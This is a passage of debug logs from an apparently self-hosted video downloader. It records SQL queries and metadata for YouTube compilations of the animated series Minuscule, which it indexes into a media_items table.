((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89030] 22:11:18.927 [debug] Current batch of media processed. Will check again in 1000ms 22:11:19.928 [debug] Current batch of media processed. Will check again in 1000ms 22:11:20.929 [debug] Current batch of media processed. Will check again in 1000ms 22:11:21.930 [debug] Current batch of media processed. Will check again in 1000ms 22:11:22.931 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sausage Predator | S02E06\n00:03:45 | The Yule log | S02E35\n00:07:31 | To The Port Now! | S02E43\n00:10:58 | Metamorphosis | S02E61\n00:14:29 | Love Apple | S02E45\n00:18:08 | The Annoying Neighbor | S02E28\n00:21:44 | Homeless | S02E02\n00:25:32 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Sausage #Predator #ants #barbecue #Yule #Christmas #fire #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1787, "filename" => "/downloads/Miniscule Season 2/2025-03-27 Sausage Predator | Minuscule 🍃 40' Compilation/Sausage Predator | Minuscule 🍃 40' Compilation [u65noLqB1MQ].mp4", "id" => "u65noLqB1MQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=u65noLqB1MQ", "playlist_index" => 66, "timestamp" => 1743073290, "title" => "Sausage Predator | Minuscule 🍃 40' Compilation", "upload_date" => "20250327"} 22:11:22.932 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=852.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:22.933 [debug] QUERY OK source="sources" db=0.3ms idle=761.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:22.934 [debug] QUERY OK source="media_items" db=1.1ms idle=762.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-27 11:01:30Z], 5] 22:11:22.938 [debug] QUERY OK source="media_items" db=2.1ms idle=764.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sausage Predator | S02E06\n00:03:45 | The Yule log | S02E35\n00:07:31 | To The Port Now! | S02E43\n00:10:58 | Metamorphosis | S02E61\n00:14:29 | Love Apple | S02E45\n00:18:08 | The Annoying Neighbor | S02E28\n00:21:44 | Homeless | S02E02\n00:25:32 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Sausage #Predator #ants #barbecue #Yule #Christmas #fire #Minuscule #nature #insects #ladybugs #animatedseries", "Sausage Predator | Minuscule 🍃 40' Compilation", "1706976a-1fc7-46a3-a5a0-036b6bf87588", "u65noLqB1MQ", 1787, false, 5, "https://www.youtube.com/watch?v=u65noLqB1MQ", 66, "/downloads/Miniscule Season 2/2025-03-27 Sausage Predator | Minuscule 🍃 40' Compilation/Sausage Predator | Minuscule 🍃 40' Compilation [u65noLqB1MQ].mp4", false, false, false, [], 1, ~U[2025-03-27 11:01:30Z], ~U[2025-12-12 05:11:22Z], ~U[2025-12-12 05:11:22Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sausage Predator | S02E06\n00:03:45 | The Yule log | S02E35\n00:07:31 | To The Port Now! | S02E43\n00:10:58 | Metamorphosis | S02E61\n00:14:29 | Love Apple | S02E45\n00:18:08 | The Annoying Neighbor | S02E28\n00:21:44 | Homeless | S02E02\n00:25:32 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Sausage #Predator #ants #barbecue #Yule #Christmas #fire #Minuscule #nature #insects #ladybugs #animatedseries", "Sausage Predator | Minuscule 🍃 40' Compilation", "u65noLqB1MQ", 1787, false, 5, "https://www.youtube.com/watch?v=u65noLqB1MQ", "/downloads/Miniscule Season 2/2025-03-27 Sausage Predator | Minuscule 🍃 40' Compilation/Sausage Predator | Minuscule 🍃 40' Compilation [u65noLqB1MQ].mp4", false, ~U[2025-03-27 11:01:30Z]] 22:11:22.938 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=767.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:22.939 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:22.940 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89032] 22:11:22.940 [debug] Current batch of media processed. Will check again in 1000ms 22:11:23.941 [debug] Current batch of media processed. Will check again in 1000ms 22:11:24.942 [debug] Current batch of media processed. Will check again in 1000ms 22:11:25.943 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | Valentine's Day | S02E15\n00:07:31 | Summer Hat | S02E48\n00:11:12 | Snow Fly | S02E51\n00:14:37 | Sunburn | S02E40\n00:18:01 | Zzz zzz | S02E44\n00:21:32 | Pollution | S02E60\n00:25:17 | Down The Chimney | S02E42\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #Valentine's #centipede #robber #ring #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1781, "filename" => "/downloads/Miniscule Season 2/2025-04-01 Thievish As A Magpie | Minuscule 🍃 40' Compilation/Thievish As A Magpie | Minuscule 🍃 40' Compilation [cYsb4xcVEHE].mp4", "id" => "cYsb4xcVEHE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cYsb4xcVEHE", "playlist_index" => 67, "timestamp" => 1743487243, "title" => "Thievish As A Magpie | Minuscule 🍃 40' Compilation", "upload_date" => "20250401"} 22:11:25.944 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1772.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:25.945 [debug] QUERY OK source="sources" db=0.4ms idle=1773.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:25.947 [debug] QUERY OK source="media_items" db=1.1ms idle=1774.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-01 06:00:43Z], 5] 22:11:25.960 [debug] QUERY OK source="media_items" db=11.8ms idle=1776.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | Valentine's Day | S02E15\n00:07:31 | Summer Hat | S02E48\n00:11:12 | Snow Fly | S02E51\n00:14:37 | Sunburn | S02E40\n00:18:01 | Zzz zzz | S02E44\n00:21:32 | Pollution | S02E60\n00:25:17 | Down The Chimney | S02E42\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #Valentine's #centipede #robber #ring #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 40' Compilation", "eb465db6-e93a-4bf0-b2bc-275dace9b978", "cYsb4xcVEHE", 1781, false, 5, "https://www.youtube.com/watch?v=cYsb4xcVEHE", 67, "/downloads/Miniscule Season 2/2025-04-01 Thievish As A Magpie | Minuscule 🍃 40' Compilation/Thievish As A Magpie | Minuscule 🍃 40' Compilation [cYsb4xcVEHE].mp4", false, false, false, [], 1, ~U[2025-04-01 06:00:43Z], ~U[2025-12-12 05:11:25Z], ~U[2025-12-12 05:11:25Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | Valentine's Day | S02E15\n00:07:31 | Summer Hat | S02E48\n00:11:12 | Snow Fly | S02E51\n00:14:37 | Sunburn | S02E40\n00:18:01 | Zzz zzz | S02E44\n00:21:32 | Pollution | S02E60\n00:25:17 | Down The Chimney | S02E42\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #Valentine's #centipede #robber #ring #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 40' Compilation", "cYsb4xcVEHE", 1781, false, 5, "https://www.youtube.com/watch?v=cYsb4xcVEHE", "/downloads/Miniscule Season 2/2025-04-01 Thievish As A Magpie | Minuscule 🍃 40' Compilation/Thievish As A Magpie | Minuscule 🍃 40' Compilation [cYsb4xcVEHE].mp4", false, ~U[2025-04-01 06:00:43Z]] 22:11:25.960 [debug] QUERY OK source="sources" db=0.5ms idle=874.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:25.961 [debug] QUERY OK source="media_profiles" db=0.4ms idle=16.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:25.962 [debug] QUERY OK source="media_items" db=0.6ms idle=16.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89034] 22:11:25.962 [debug] Current batch of media processed. Will check again in 1000ms 22:11:26.964 [debug] Current batch of media processed. Will check again in 1000ms 22:11:27.965 [debug] Current batch of media processed. Will check again in 1000ms 22:11:28.966 [debug] Current batch of media processed. Will check again in 1000ms 22:11:29.967 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | Telecanetic | S03E19\n00:02:58 | The Magic Fly | S03E15\n00:04:27 | Like A Cannon Ball | S03E03\n00:05:56 | The Wicked Web | S03E07\n00:07:25 | Blunder | S03E26\n00:09:05 | Webrizon | S03E02\n00:10:34 | At Full Speed | S03E22\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Telekinesis #Chase #Spider #Powers #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 734, "filename" => "/downloads/Miniscule Season 2/2025-03-29 Mad fly | Minuscule 🍃 15' Compilation/Mad fly | Minuscule 🍃 15' Compilation [MmFinvp6tCk].mp4", "id" => "MmFinvp6tCk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MmFinvp6tCk", "playlist_index" => 68, "timestamp" => 1743274842, "title" => "Mad fly | Minuscule 🍃 15' Compilation", "upload_date" => "20250329"} 22:11:29.968 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=875.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:29.969 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=797.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:29.971 [debug] QUERY OK source="media_items" db=1.0ms idle=798.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-29 19:00:42Z], 5] 22:11:29.974 [debug] QUERY OK source="media_items" db=2.1ms idle=800.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | Telecanetic | S03E19\n00:02:58 | The Magic Fly | S03E15\n00:04:27 | Like A Cannon Ball | S03E03\n00:05:56 | The Wicked Web | S03E07\n00:07:25 | Blunder | S03E26\n00:09:05 | Webrizon | S03E02\n00:10:34 | At Full Speed | S03E22\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Telekinesis #Chase #Spider #Powers #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly | Minuscule 🍃 15' Compilation", "8ec2781b-c294-48da-ae19-9f3ce51ff935", "MmFinvp6tCk", 734, false, 5, "https://www.youtube.com/watch?v=MmFinvp6tCk", 68, "/downloads/Miniscule Season 2/2025-03-29 Mad fly | Minuscule 🍃 15' Compilation/Mad fly | Minuscule 🍃 15' Compilation [MmFinvp6tCk].mp4", false, false, false, [], 1, ~U[2025-03-29 19:00:42Z], ~U[2025-12-12 05:11:29Z], ~U[2025-12-12 05:11:29Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | Telecanetic | S03E19\n00:02:58 | The Magic Fly | S03E15\n00:04:27 | Like A Cannon Ball | S03E03\n00:05:56 | The Wicked Web | S03E07\n00:07:25 | Blunder | S03E26\n00:09:05 | Webrizon | S03E02\n00:10:34 | At Full Speed | S03E22\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Telekinesis #Chase #Spider #Powers #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly | Minuscule 🍃 15' Compilation", "MmFinvp6tCk", 734, false, 5, "https://www.youtube.com/watch?v=MmFinvp6tCk", "/downloads/Miniscule Season 2/2025-03-29 Mad fly | Minuscule 🍃 15' Compilation/Mad fly | Minuscule 🍃 15' Compilation [MmFinvp6tCk].mp4", false, ~U[2025-03-29 19:00:42Z]] 22:11:29.975 [debug] QUERY OK source="sources" db=0.6ms idle=803.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:29.975 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:29.976 [debug] QUERY OK source="media_items" db=0.5ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 